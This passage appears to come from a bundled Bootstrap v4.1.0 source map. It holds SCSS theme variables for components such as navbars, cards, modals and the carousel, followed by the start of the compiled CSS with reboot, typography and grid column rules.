$input-focus-border-color !default;\n$custom-file-focus-box-shadow: $input-btn-focus-box-shadow !default;\n\n$custom-file-padding-y: $input-btn-padding-y !default;\n$custom-file-padding-x: $input-btn-padding-x !default;\n$custom-file-line-height: $input-btn-line-height !default;\n$custom-file-color: $input-color !default;\n$custom-file-bg: $input-bg !default;\n$custom-file-border-width: $input-btn-border-width !default;\n$custom-file-border-color: $input-border-color !default;\n$custom-file-border-radius: $input-border-radius !default;\n$custom-file-box-shadow: $input-box-shadow !default;\n$custom-file-button-color: $custom-file-color !default;\n$custom-file-button-bg: $input-group-addon-bg !default;\n$custom-file-text: (\n en: \"Browse\"\n) !default;\n\n\n// Form validation\n$form-feedback-margin-top: $form-text-margin-top !default;\n$form-feedback-font-size: $small-font-size !default;\n$form-feedback-valid-color: theme-color(\"success\") !default;\n$form-feedback-invalid-color: theme-color(\"danger\") !default;\n\n\n// Dropdowns\n//\n// Dropdown menu container and contents.\n\n$dropdown-min-width: 10rem !default;\n$dropdown-padding-y: .5rem !default;\n$dropdown-spacer: .125rem !default;\n$dropdown-bg: $white !default;\n$dropdown-border-color: rgba($black, .15) !default;\n$dropdown-border-radius: $border-radius !default;\n$dropdown-border-width: $border-width !default;\n$dropdown-divider-bg: $gray-200 !default;\n$dropdown-box-shadow: 0 .5rem 1rem rgba($black, .175) !default;\n\n$dropdown-link-color: $gray-900 !default;\n$dropdown-link-hover-color: darken($gray-900, 5%) !default;\n$dropdown-link-hover-bg: $gray-100 !default;\n\n$dropdown-link-active-color: $component-active-color !default;\n$dropdown-link-active-bg: $component-active-bg !default;\n\n$dropdown-link-disabled-color: $gray-600 !default;\n\n$dropdown-item-padding-y: .25rem !default;\n$dropdown-item-padding-x: 1.5rem !default;\n\n$dropdown-header-color: $gray-600 !default;\n\n\n// Z-index master list\n//\n// Warning: Avoid customizing these values. They're used for a bird's eye view\n// of components dependent on the z-axis and are designed to all work together.\n\n$zindex-dropdown: 1000 !default;\n$zindex-sticky: 1020 !default;\n$zindex-fixed: 1030 !default;\n$zindex-modal-backdrop: 1040 !default;\n$zindex-modal: 1050 !default;\n$zindex-popover: 1060 !default;\n$zindex-tooltip: 1070 !default;\n\n// Navs\n\n$nav-link-padding-y: .5rem !default;\n$nav-link-padding-x: 1rem !default;\n$nav-link-disabled-color: $gray-600 !default;\n\n$nav-tabs-border-color: $gray-300 !default;\n$nav-tabs-border-width: $border-width !default;\n$nav-tabs-border-radius: $border-radius !default;\n$nav-tabs-link-hover-border-color: $gray-200 $gray-200 $nav-tabs-border-color !default;\n$nav-tabs-link-active-color: $gray-700 !default;\n$nav-tabs-link-active-bg: $body-bg !default;\n$nav-tabs-link-active-border-color: $gray-300 $gray-300 $nav-tabs-link-active-bg !default;\n\n$nav-pills-border-radius: $border-radius !default;\n$nav-pills-link-active-color: $component-active-color !default;\n$nav-pills-link-active-bg: $component-active-bg !default;\n\n$nav-divider-color: $gray-200 !default;\n$nav-divider-margin-y: ($spacer / 2) !default;\n\n// Navbar\n\n$navbar-padding-y: ($spacer / 2) !default;\n$navbar-padding-x: $spacer !default;\n\n$navbar-nav-link-padding-x: .5rem !default;\n\n$navbar-brand-font-size: $font-size-lg !default;\n// Compute the navbar-brand padding-y so the navbar-brand will have the same height as navbar-text and nav-link\n$nav-link-height: ($font-size-base * $line-height-base + $nav-link-padding-y * 2) !default;\n$navbar-brand-height: $navbar-brand-font-size * $line-height-base !default;\n$navbar-brand-padding-y: ($nav-link-height - $navbar-brand-height) / 2 !default;\n\n$navbar-toggler-padding-y: .25rem !default;\n$navbar-toggler-padding-x: .75rem !default;\n$navbar-toggler-font-size: $font-size-lg !default;\n$navbar-toggler-border-radius: $btn-border-radius !default;\n\n$navbar-dark-color: rgba($white, .5) !default;\n$navbar-dark-hover-color: rgba($white, .75) !default;\n$navbar-dark-active-color: $white !default;\n$navbar-dark-disabled-color: rgba($white, .25) !default;\n$navbar-dark-toggler-icon-bg: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='#{$navbar-dark-color}' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$navbar-dark-toggler-border-color: rgba($white, .1) !default;\n\n$navbar-light-color: rgba($black, .5) !default;\n$navbar-light-hover-color: rgba($black, .7) !default;\n$navbar-light-active-color: rgba($black, .9) !default;\n$navbar-light-disabled-color: rgba($black, .3) !default;\n$navbar-light-toggler-icon-bg: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='#{$navbar-light-color}' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$navbar-light-toggler-border-color: rgba($black, .1) !default;\n\n// Pagination\n\n$pagination-padding-y: .5rem !default;\n$pagination-padding-x: .75rem !default;\n$pagination-padding-y-sm: .25rem !default;\n$pagination-padding-x-sm: .5rem !default;\n$pagination-padding-y-lg: .75rem !default;\n$pagination-padding-x-lg: 1.5rem !default;\n$pagination-line-height: 1.25 !default;\n\n$pagination-color: $link-color !default;\n$pagination-bg: $white !default;\n$pagination-border-width: $border-width !default;\n$pagination-border-color: $gray-300 !default;\n\n$pagination-focus-box-shadow: $input-btn-focus-box-shadow !default;\n$pagination-focus-outline: 0 !default;\n\n$pagination-hover-color: $link-hover-color !default;\n$pagination-hover-bg: $gray-200 !default;\n$pagination-hover-border-color: $gray-300 !default;\n\n$pagination-active-color: $component-active-color !default;\n$pagination-active-bg: $component-active-bg !default;\n$pagination-active-border-color: $pagination-active-bg !default;\n\n$pagination-disabled-color: $gray-600 !default;\n$pagination-disabled-bg: $white !default;\n$pagination-disabled-border-color: $gray-300 !default;\n\n\n// Jumbotron\n\n$jumbotron-padding: 2rem !default;\n$jumbotron-bg: $gray-200 !default;\n\n\n// Cards\n\n$card-spacer-y: .75rem !default;\n$card-spacer-x: 1.25rem !default;\n$card-border-width: $border-width !default;\n$card-border-radius: $border-radius !default;\n$card-border-color: rgba($black, .125) !default;\n$card-inner-border-radius: calc(#{$card-border-radius} - #{$card-border-width}) !default;\n$card-cap-bg: rgba($black, .03) !default;\n$card-bg: $white !default;\n\n$card-img-overlay-padding: 1.25rem !default;\n\n$card-group-margin: ($grid-gutter-width / 2) !default;\n$card-deck-margin: $card-group-margin !default;\n\n$card-columns-count: 3 !default;\n$card-columns-gap: 1.25rem !default;\n$card-columns-margin: $card-spacer-y !default;\n\n\n// Tooltips\n\n$tooltip-font-size: $font-size-sm !default;\n$tooltip-max-width: 200px !default;\n$tooltip-color: $white !default;\n$tooltip-bg: $black !default;\n$tooltip-border-radius: $border-radius !default;\n$tooltip-opacity: .9 !default;\n$tooltip-padding-y: .25rem !default;\n$tooltip-padding-x: .5rem !default;\n$tooltip-margin: 0 !default;\n\n$tooltip-arrow-width: .8rem !default;\n$tooltip-arrow-height: .4rem !default;\n$tooltip-arrow-color: $tooltip-bg !default;\n\n\n// Popovers\n\n$popover-font-size: $font-size-sm !default;\n$popover-bg: $white !default;\n$popover-max-width: 276px !default;\n$popover-border-width: $border-width !default;\n$popover-border-color: rgba($black, .2) !default;\n$popover-border-radius: $border-radius-lg !default;\n$popover-box-shadow: 0 .25rem .5rem rgba($black, .2) !default;\n\n$popover-header-bg: darken($popover-bg, 3%) !default;\n$popover-header-color: $headings-color !default;\n$popover-header-padding-y: .5rem !default;\n$popover-header-padding-x: .75rem !default;\n\n$popover-body-color: $body-color !default;\n$popover-body-padding-y: $popover-header-padding-y !default;\n$popover-body-padding-x: $popover-header-padding-x !default;\n\n$popover-arrow-width: 1rem !default;\n$popover-arrow-height: .5rem !default;\n$popover-arrow-color: $popover-bg !default;\n\n$popover-arrow-outer-color: fade-in($popover-border-color, .05) !default;\n\n\n// Badges\n\n$badge-font-size: 75% !default;\n$badge-font-weight: $font-weight-bold !default;\n$badge-padding-y: .25em !default;\n$badge-padding-x: .4em !default;\n$badge-border-radius: $border-radius !default;\n\n$badge-pill-padding-x: .6em !default;\n// Use a higher than normal value to ensure completely rounded edges when\n// customizing padding or font-size on labels.\n$badge-pill-border-radius: 10rem !default;\n\n\n// Modals\n\n// Padding applied to the modal body\n$modal-inner-padding: 1rem !default;\n\n$modal-dialog-margin: .5rem !default;\n$modal-dialog-margin-y-sm-up: 1.75rem !default;\n\n$modal-title-line-height: $line-height-base !default;\n\n$modal-content-bg: $white !default;\n$modal-content-border-color: rgba($black, .2) !default;\n$modal-content-border-width: $border-width !default;\n$modal-content-border-radius: $border-radius-lg !default;\n$modal-content-box-shadow-xs: 0 .25rem .5rem rgba($black, .5) !default;\n$modal-content-box-shadow-sm-up: 0 .5rem 1rem rgba($black, .5) !default;\n\n$modal-backdrop-bg: $black !default;\n$modal-backdrop-opacity: .5 !default;\n$modal-header-border-color: $gray-200 !default;\n$modal-footer-border-color: $modal-header-border-color !default;\n$modal-header-border-width: $modal-content-border-width !default;\n$modal-footer-border-width: $modal-header-border-width !default;\n$modal-header-padding: 1rem !default;\n\n$modal-lg: 800px !default;\n$modal-md: 500px !default;\n$modal-sm: 300px !default;\n\n$modal-transition: transform .3s ease-out !default;\n\n\n// Alerts\n//\n// Define alert colors, border radius, and padding.\n\n$alert-padding-y: .75rem !default;\n$alert-padding-x: 1.25rem !default;\n$alert-margin-bottom: 1rem !default;\n$alert-border-radius: $border-radius !default;\n$alert-link-font-weight: $font-weight-bold !default;\n$alert-border-width: $border-width !default;\n\n$alert-bg-level: -10 !default;\n$alert-border-level: -9 !default;\n$alert-color-level: 6 !default;\n\n\n// Progress bars\n\n$progress-height: 1rem !default;\n$progress-font-size: ($font-size-base * .75) !default;\n$progress-bg: $gray-200 !default;\n$progress-border-radius: $border-radius !default;\n$progress-box-shadow: inset 0 .1rem .1rem rgba($black, .1) !default;\n$progress-bar-color: $white !default;\n$progress-bar-bg: theme-color(\"primary\") !default;\n$progress-bar-animation-timing: 1s linear infinite !default;\n$progress-bar-transition: width .6s ease !default;\n\n// List group\n\n$list-group-bg: $white !default;\n$list-group-border-color: rgba($black, .125) !default;\n$list-group-border-width: $border-width !default;\n$list-group-border-radius: $border-radius !default;\n\n$list-group-item-padding-y: .75rem !default;\n$list-group-item-padding-x: 1.25rem !default;\n\n$list-group-hover-bg: $gray-100 !default;\n$list-group-active-color: $component-active-color !default;\n$list-group-active-bg: $component-active-bg !default;\n$list-group-active-border-color: $list-group-active-bg !default;\n\n$list-group-disabled-color: $gray-600 !default;\n$list-group-disabled-bg: $list-group-bg !default;\n\n$list-group-action-color: $gray-700 !default;\n$list-group-action-hover-color: $list-group-action-color !default;\n\n$list-group-action-active-color: $body-color !default;\n$list-group-action-active-bg: $gray-200 !default;\n\n\n// Image thumbnails\n\n$thumbnail-padding: .25rem !default;\n$thumbnail-bg: $body-bg !default;\n$thumbnail-border-width: $border-width !default;\n$thumbnail-border-color: $gray-300 !default;\n$thumbnail-border-radius: $border-radius !default;\n$thumbnail-box-shadow: 0 1px 2px rgba($black, .075) !default;\n\n\n// Figures\n\n$figure-caption-font-size: 90% !default;\n$figure-caption-color: $gray-600 !default;\n\n\n// Breadcrumbs\n\n$breadcrumb-padding-y: .75rem !default;\n$breadcrumb-padding-x: 1rem !default;\n$breadcrumb-item-padding: .5rem !default;\n\n$breadcrumb-margin-bottom: 1rem !default;\n\n$breadcrumb-bg: $gray-200 !default;\n$breadcrumb-divider-color: $gray-600 !default;\n$breadcrumb-active-color: $gray-600 !default;\n$breadcrumb-divider: quote(\"/\") !default;\n\n$breadcrumb-border-radius: $border-radius !default;\n\n\n// Carousel\n\n$carousel-control-color: $white !default;\n$carousel-control-width: 15% !default;\n$carousel-control-opacity: .5 !default;\n\n$carousel-indicator-width: 30px !default;\n$carousel-indicator-height: 3px !default;\n$carousel-indicator-spacer: 3px !default;\n$carousel-indicator-active-bg: $white !default;\n\n$carousel-caption-width: 70% !default;\n$carousel-caption-color: $white !default;\n\n$carousel-control-icon-width: 20px !default;\n\n$carousel-control-prev-icon-bg: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='#{$carousel-control-color}' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$carousel-control-next-icon-bg: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='#{$carousel-control-color}' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$carousel-transition: transform .6s ease !default; // Define transform transition first if using multiple transitons (e.g., `transform 2s ease, opacity .5s ease-out`)\n\n\n// Close\n\n$close-font-size: $font-size-base * 1.5 !default;\n$close-font-weight: $font-weight-bold !default;\n$close-color: $black !default;\n$close-text-shadow: 0 1px 0 $white !default;\n\n// Code\n\n$code-font-size: 87.5% !default;\n$code-color: $pink !default;\n\n$kbd-padding-y: .2rem !default;\n$kbd-padding-x: .4rem !default;\n$kbd-font-size: $code-font-size !default;\n$kbd-color: $white !default;\n$kbd-bg: $gray-900 !default;\n\n$pre-color: $gray-900 !default;\n$pre-scrollable-max-height: 340px !default;\n\n\n// Printing\n$print-page-size: a3 !default;\n$print-body-min-width: map-get($grid-breakpoints, \"lg\") !default;\n","/*!\n * Bootstrap v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n:root {\n --blue: #007bff;\n --indigo: #6610f2;\n --purple: #6f42c1;\n --pink: #e83e8c;\n --red: #dc3545;\n --orange: #fd7e14;\n --yellow: #ffc107;\n --green: #28a745;\n --teal: #20c997;\n --cyan: #17a2b8;\n --white: #fff;\n --gray: #6c757d;\n --gray-dark: #343a40;\n --primary: #007bff;\n --secondary: #6c757d;\n --success: #28a745;\n --info: #17a2b8;\n --warning: #ffc107;\n --danger: #dc3545;\n --light: #f8f9fa;\n --dark: #343a40;\n --breakpoint-xs: 0;\n --breakpoint-sm: 576px;\n --breakpoint-md: 768px;\n --breakpoint-lg: 992px;\n --breakpoint-xl: 1200px;\n --font-family-sans-serif: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\n*,\n*::before,\n*::after {\n box-sizing: border-box;\n}\n\nhtml {\n font-family: sans-serif;\n line-height: 1.15;\n -webkit-text-size-adjust: 100%;\n -ms-text-size-adjust: 100%;\n -ms-overflow-style: scrollbar;\n -webkit-tap-highlight-color: transparent;\n}\n\n@-ms-viewport {\n width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n display: block;\n}\n\nbody {\n margin: 0;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n font-size: 1rem;\n font-weight: 400;\n line-height: 1.5;\n color: #212529;\n text-align: left;\n background-color: #fff;\n}\n\n[tabindex=\"-1\"]:focus {\n outline: 0 !important;\n}\n\nhr {\n box-sizing: content-box;\n height: 0;\n overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n margin-top: 0;\n margin-bottom: 0.5rem;\n}\n\np {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n text-decoration: underline;\n text-decoration: underline dotted;\n cursor: help;\n border-bottom: 0;\n}\n\naddress {\n margin-bottom: 1rem;\n font-style: normal;\n line-height: inherit;\n}\n\nol,\nul,\ndl {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n margin-bottom: 0;\n}\n\ndt {\n font-weight: 700;\n}\n\ndd {\n margin-bottom: .5rem;\n margin-left: 0;\n}\n\nblockquote {\n margin: 0 0 1rem;\n}\n\ndfn {\n font-style: italic;\n}\n\nb,\nstrong {\n font-weight: bolder;\n}\n\nsmall {\n font-size: 80%;\n}\n\nsub,\nsup {\n position: relative;\n font-size: 75%;\n line-height: 0;\n vertical-align: baseline;\n}\n\nsub {\n bottom: -.25em;\n}\n\nsup {\n top: -.5em;\n}\n\na {\n color: #007bff;\n text-decoration: none;\n background-color: transparent;\n -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n color: #0056b3;\n text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n color: inherit;\n text-decoration: none;\n}\n\na:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {\n color: inherit;\n text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\n\npre {\n margin-top: 0;\n margin-bottom: 1rem;\n overflow: auto;\n -ms-overflow-style: scrollbar;\n}\n\nfigure {\n margin: 0 0 1rem;\n}\n\nimg {\n vertical-align: middle;\n border-style: none;\n}\n\nsvg:not(:root) {\n overflow: hidden;\n}\n\ntable {\n border-collapse: collapse;\n}\n\ncaption {\n padding-top: 0.75rem;\n padding-bottom: 0.75rem;\n color: #6c757d;\n text-align: left;\n caption-side: bottom;\n}\n\nth {\n text-align: inherit;\n}\n\nlabel {\n display: inline-block;\n margin-bottom: 0.5rem;\n}\n\nbutton {\n border-radius: 0;\n}\n\nbutton:focus {\n outline: 1px dotted;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n margin: 0;\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\nbutton,\ninput {\n overflow: visible;\n}\n\nbutton,\nselect {\n text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n padding: 0;\n border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n box-sizing: border-box;\n padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n -webkit-appearance: listbox;\n}\n\ntextarea {\n overflow: auto;\n resize: vertical;\n}\n\nfieldset {\n min-width: 0;\n padding: 0;\n margin: 0;\n border: 0;\n}\n\nlegend {\n display: block;\n width: 100%;\n max-width: 100%;\n padding: 0;\n margin-bottom: .5rem;\n font-size: 1.5rem;\n line-height: inherit;\n color: inherit;\n white-space: normal;\n}\n\nprogress {\n vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n[type=\"search\"] {\n outline-offset: -2px;\n -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n font: inherit;\n -webkit-appearance: button;\n}\n\noutput {\n display: inline-block;\n}\n\nsummary {\n display: list-item;\n cursor: pointer;\n}\n\ntemplate {\n display: none;\n}\n\n[hidden] {\n display: none !important;\n}\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n margin-bottom: 0.5rem;\n font-family: inherit;\n font-weight: 500;\n line-height: 1.2;\n color: inherit;\n}\n\nh1, .h1 {\n font-size: 2.5rem;\n}\n\nh2, .h2 {\n font-size: 2rem;\n}\n\nh3, .h3 {\n font-size: 1.75rem;\n}\n\nh4, .h4 {\n font-size: 1.5rem;\n}\n\nh5, .h5 {\n font-size: 1.25rem;\n}\n\nh6, .h6 {\n font-size: 1rem;\n}\n\n.lead {\n font-size: 1.25rem;\n font-weight: 300;\n}\n\n.display-1 {\n font-size: 6rem;\n font-weight: 300;\n line-height: 1.2;\n}\n\n.display-2 {\n font-size: 5.5rem;\n font-weight: 300;\n line-height: 1.2;\n}\n\n.display-3 {\n font-size: 4.5rem;\n font-weight: 300;\n line-height: 1.2;\n}\n\n.display-4 {\n font-size: 3.5rem;\n font-weight: 300;\n line-height: 1.2;\n}\n\nhr {\n margin-top: 1rem;\n margin-bottom: 1rem;\n border: 0;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n}\n\nsmall,\n.small {\n font-size: 80%;\n font-weight: 400;\n}\n\nmark,\n.mark {\n padding: 0.2em;\n background-color: #fcf8e3;\n}\n\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n\n.list-inline {\n padding-left: 0;\n list-style: none;\n}\n\n.list-inline-item {\n display: inline-block;\n}\n\n.list-inline-item:not(:last-child) {\n margin-right: 0.5rem;\n}\n\n.initialism {\n font-size: 90%;\n text-transform: uppercase;\n}\n\n.blockquote {\n margin-bottom: 1rem;\n font-size: 1.25rem;\n}\n\n.blockquote-footer {\n display: block;\n font-size: 80%;\n color: #6c757d;\n}\n\n.blockquote-footer::before {\n content: \"\\2014 \\00A0\";\n}\n\n.img-fluid {\n max-width: 100%;\n height: auto;\n}\n\n.img-thumbnail {\n padding: 0.25rem;\n background-color: #fff;\n border: 1px solid #dee2e6;\n border-radius: 0.25rem;\n max-width: 100%;\n height: auto;\n}\n\n.figure {\n display: inline-block;\n}\n\n.figure-img {\n margin-bottom: 0.5rem;\n line-height: 1;\n}\n\n.figure-caption {\n font-size: 90%;\n color: #6c757d;\n}\n\ncode,\nkbd,\npre,\nsamp {\n font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\ncode {\n font-size: 87.5%;\n color: #e83e8c;\n word-break: break-word;\n}\n\na > code {\n color: inherit;\n}\n\nkbd {\n padding: 0.2rem 0.4rem;\n font-size: 87.5%;\n color: #fff;\n background-color: #212529;\n border-radius: 0.2rem;\n}\n\nkbd kbd {\n padding: 0;\n font-size: 100%;\n font-weight: 700;\n}\n\npre {\n display: block;\n font-size: 87.5%;\n color: #212529;\n}\n\npre code {\n font-size: inherit;\n color: inherit;\n word-break: normal;\n}\n\n.pre-scrollable {\n max-height: 340px;\n overflow-y: scroll;\n}\n\n.container {\n width: 100%;\n padding-right: 15px;\n padding-left: 15px;\n margin-right: auto;\n margin-left: auto;\n}\n\n@media (min-width: 576px) {\n .container {\n max-width: 540px;\n }\n}\n\n@media (min-width: 768px) {\n .container {\n max-width: 720px;\n }\n}\n\n@media (min-width: 992px) {\n .container {\n max-width: 960px;\n }\n}\n\n@media (min-width: 1200px) {\n .container {\n max-width: 1140px;\n }\n}\n\n.container-fluid {\n width: 100%;\n padding-right: 15px;\n padding-left: 15px;\n margin-right: auto;\n margin-left: auto;\n}\n\n.row {\n display: flex;\n flex-wrap: wrap;\n margin-right: -15px;\n margin-left: -15px;\n}\n\n.no-gutters {\n margin-right: 0;\n margin-left: 0;\n}\n\n.no-gutters > .col,\n.no-gutters > [class*=\"col-\"] {\n padding-right: 0;\n padding-left: 0;\n}\n\n.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,\n.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,\n.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,\n.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,\n.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,\n.col-xl-auto {\n position: relative;\n width: 100%;\n min-height: 1px;\n padding-right: 15px;\n padding-left: 15px;\n}\n\n.col {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n}\n\n.col-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n}\n\n.col-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n}\n\n.col-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n}\n\n.col-3 {\n flex: 0 0 25%;\n max-width: 25%;\n}\n\n.col-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n}\n\n.col-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n}\n\n.col-6 {\n flex: 0 0 50%;\n max-width: 50%;\n}\n\n.col-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n}\n\n.col-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n}\n\n.col-9 {\n flex: 0 0 75%;\n max-width: 75%;\n}\n\n.col-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n}\n\n.col-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n}\n\n.col-12 {\n flex: 0 0 100%;\n max-width: 100%;\n}\n\n.order-first {\n order: -1;\n}\n\n.order-last {\n order: 13;\n}\n\n.order-0 {\n order: 0;\n}\n\n.order-1 {\n order: 1;\n}\n\n.order-2 {\n order: 2;\n}\n\n.order-3 {\n order: 3;\n}\n\n.order-4 {\n order: 4;\n}\n\n.order-5 {\n order: 5;\n}\n\n.order-6 {\n order: 6;\n}\n\n.order-7 {\n order: 7;\n}\n\n.order-8 {\n order: 8;\n}\n\n.order-9 {\n order: 9;\n}\n\n.order-10 {\n order: 10;\n}\n\n.order-11 {\n order: 11;\n}\n\n.order-12 {\n order: 12;\n}\n\n.offset-1 {\n margin-left: 8.333333%;\n}\n\n.offset-2 {\n margin-left: 16.666667%;\n}\n\n.offset-3 {\n margin-left: 25%;\n}\n\n.offset-4 {\n margin-left: 33.333333%;\n}\n\n.offset-5 {\n margin-left: 41.666667%;\n}\n\n.offset-6 {\n margin-left: 50%;\n}\n\n.offset-7 {\n margin-left: 58.333333%;\n}\n\n.offset-8 {\n margin-left: 66.666667%;\n}\n\n.offset-9 {\n margin-left: 75%;\n}\n\n.offset-10 {\n margin-left: 83.333333%;\n}\n\n.offset-11 {\n margin-left: 91.666667%;\n}\n\n@media (min-width: 576px) {\n .col-sm {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-sm-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-sm-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-sm-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-sm-3 {\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-sm-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-sm-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-sm-6 {\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-sm-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-sm-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-sm-9 {\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-sm-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-sm-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-sm-12 {\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-sm-first {\n order: -1;\n }\n .order-sm-last {\n order: 13;\n }\n .order-sm-0 {\n order: 0;\n }\n .order-sm-1 {\n order: 1;\n }\n .order-sm-2 {\n order: 2;\n }\n .order-sm-3 {\n order: 3;\n }\n .order-sm-4 {\n order: 4;\n }\n .order-sm-5 {\n order: 5;\n }\n .order-sm-6 {\n order: 6;\n }\n .order-sm-7 {\n order: 7;\n }\n .order-sm-8 {\n order: 8;\n }\n .order-sm-9 {\n order: 9;\n }\n .order-sm-10 {\n order: 10;\n }\n .order-sm-11 {\n order: 11;\n }\n .order-sm-12 {\n order: 12;\n }\n .offset-sm-0 {\n margin-left: 0;\n }\n .offset-sm-1 {\n margin-left: 8.333333%;\n }\n .offset-sm-2 {\n margin-left: 16.666667%;\n }\n .offset-sm-3 {\n margin-left: 25%;\n }\n .offset-sm-4 {\n margin-left: 33.333333%;\n }\n .offset-sm-5 {\n margin-left: 41.666667%;\n }\n .offset-sm-6 {\n margin-left: 50%;\n }\n .offset-sm-7 {\n margin-left: 58.333333%;\n }\n .offset-sm-8 {\n margin-left: 66.666667%;\n }\n .offset-sm-9 {\n margin-left: 75%;\n }\n .offset-sm-10 {\n margin-left: 83.333333%;\n }\n .offset-sm-11 {\n margin-left: 91.666667%;\n }\n}\n\n@media (min-width: 768px) {\n .col-md {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 